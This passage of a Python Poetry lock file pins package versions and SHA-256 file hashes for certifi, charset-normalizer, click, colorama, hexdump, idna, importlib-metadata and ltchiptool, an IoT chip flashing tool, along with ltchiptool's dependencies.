{file = "certifi-2025.11.12-py3-none-any.whl", hash = "sha256:97de8790030bbd5c2d96b7ec782fc2f7820ef8dba6db909ccf95449f2d062d4b"},
|
||||
{file = "certifi-2025.11.12.tar.gz", hash = "sha256:d8ab5478f2ecd78af242878415affce761ca6bc54a22a27e026d7c25357c3316"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "charset-normalizer"
|
||||
version = "3.4.4"
|
||||
description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"},
|
||||
{file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"},
|
||||
{file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"},
|
||||
{file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"},
|
||||
{file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"},
|
||||
{file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"},
|
||||
{file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"},
|
||||
{file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"},
|
||||
{file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"},
|
||||
{file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "click"
|
||||
version = "8.1.8"
|
||||
description = "Composable command line interface toolkit"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"},
|
||||
{file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
colorama = {version = "*", markers = "platform_system == \"Windows\""}
|
||||
|
||||
[[package]]
|
||||
name = "colorama"
|
||||
version = "0.4.6"
|
||||
description = "Cross-platform colored terminal text."
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
|
||||
{file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "hexdump"
|
||||
version = "3.3"
|
||||
description = "dump binary data to hex format and restore from there"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "hexdump-3.3.zip", hash = "sha256:d781a43b0c16ace3f9366aade73e8ad3a7bd5137d58f0b45ab2d3f54876f20db"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "idna"
|
||||
version = "3.11"
|
||||
description = "Internationalized Domain Names in Applications (IDNA)"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"},
|
||||
{file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"]
|
||||
|
||||
[[package]]
|
||||
name = "importlib-metadata"
|
||||
version = "8.5.0"
|
||||
description = "Read metadata from Python packages"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "importlib_metadata-8.5.0-py3-none-any.whl", hash = "sha256:45e54197d28b7a7f1559e60b95e7c567032b602131fbd588f1497f47880aa68b"},
|
||||
{file = "importlib_metadata-8.5.0.tar.gz", hash = "sha256:71522656f0abace1d072b9e5481a48f07c138e00f079c38c8f883823f9c26bd7"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
zipp = ">=3.20"
|
||||
|
||||
[package.extras]
|
||||
check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""]
|
||||
cover = ["pytest-cov"]
|
||||
doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
|
||||
enabler = ["pytest-enabler (>=2.2)"]
|
||||
perf = ["ipython"]
|
||||
test = ["flufl.flake8", "importlib-resources (>=1.3) ; python_version < \"3.9\"", "jaraco.test (>=5.4)", "packaging", "pyfakefs", "pytest (>=6,!=8.1.*)", "pytest-perf (>=0.9.2)"]
|
||||
type = ["pytest-mypy"]
|
||||
|
||||
[[package]]
|
||||
name = "ltchiptool"
|
||||
version = "4.12.2"
|
||||
description = "Universal flashing and binary manipulation tool for IoT chips"
|
||||
optional = false
|
||||
python-versions = "<4.0,>=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "ltchiptool-4.12.2-py3-none-any.whl", hash = "sha256:3e618c04275555130340d500bd4e208f80cffdebbf4f5062aba036ce0ff26b25"},
|
||||
{file = "ltchiptool-4.12.2.tar.gz", hash = "sha256:f4256950f2d72d422783192ace7f9299e049f29094b686fb2e49fe06a8da02d6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
bitstruct = ">=8.1.1,<9.0.0"
|
||||
bk7231tools = ">=2.0.0,<3.0.0"
|
||||
click = ">=8.1.3,<9.0.0"
|
||||
colorama = ">=0.4.5,<0.5.0"
|
||||
hexdump = ">=3.3,<4.0"
|
||||
importlib-metadata = "*"
|
||||
prettytable = ">=3.3.0,<4.0.0"
|
||||
py-datastruct = ">=1.0.0,<2.0.0"
|
||||
pyaes = {version = ">=1.6.1,<2.0.0", markers = "platform_machine in \"armv6l,armv7l,armv8l,armv8b,aarch64\""}
|
